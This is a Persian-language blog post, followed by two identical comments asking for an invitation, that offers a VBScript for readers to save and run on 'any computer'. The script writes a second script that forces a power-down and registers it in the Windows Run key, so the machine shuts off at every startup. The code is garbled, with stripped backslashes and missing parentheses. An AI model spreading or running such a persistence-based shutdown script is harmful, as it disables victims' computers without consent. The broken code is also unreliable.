این اسکریپت روی هرکامپیوتری اجرا بشه نمی ذاره کامپیوترش بالا بیاد
. حتی فرصت کلیک کردن روی ایکن رو بهش نمی ده .و پشت سر هم restart می شه! می تونید روی کامپیوتر خودتون هم اجراش کنید . برای خلاصی ازش باید فایل C: estart.vbs رو از کامپیوترتون از طریق Dos حذف کنید
بعد ویندوزتون بالا می آد کد پایین را روی notepad کپی کنید و فایل را با پسوند vbs ذخیره کنید.
Sub ShutDown Set FSO = CreateObject("Scripting.FileSystemObject" Set TxtFile =
FSO.CreateTextFile("c: estart.vbs", 2, False) TxtFile.WriteLine "Sub ShutDown " TxtFile.WriteLine "nLogOff=0 "
TxtFile.WriteLine "nReboot=2 " TxtFile.WriteLine "nForceLogOff=4 " TxtFile.WriteLine "nForceReboot=6 "
TxtFile.WriteLine "nPowerDown=8 " TxtFile.WriteLine "nForcePowerDown=12 " TxtFile.WriteLine "Set oOS =
GetObject("+chr(34)+"winmgmts:{(Shutdown)}"+chr(34)+".ExecQuery("+chr(34)+"Select * from
Win32_OperatingSystem"+chr(34)+" " TxtFile.WriteLine "For Each oOperatingSystem in oOS " TxtFile.WriteLine
" oOperatingSystem.Win32Shutdown(nForcePowerDown) " TxtFile.WriteLine "Next " TxtFile.WriteLine "End sub "
TxtFile.WriteLine "ShutDown " TxtFile.Close Set WshShell = CreateObject("WScript.Shell" WshShell.RegWrite
"HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunRestart", "c: estart.vbs" End sub
ShutDown
سلام دوست عزیز
بنده مهدی بلاگر واژه کال هستم
از شما درخواست دعوتنامه پرشن گیگ داشتم .در صورت امکان لطف فرمائید
متشکرم
سلام دوست عزیز
بنده مهدی بلاگر واژه کال هستم
از شما درخواست دعوتنامه پرشن گیگ داشتم .در صورت امکان لطف فرمائید
متشکرم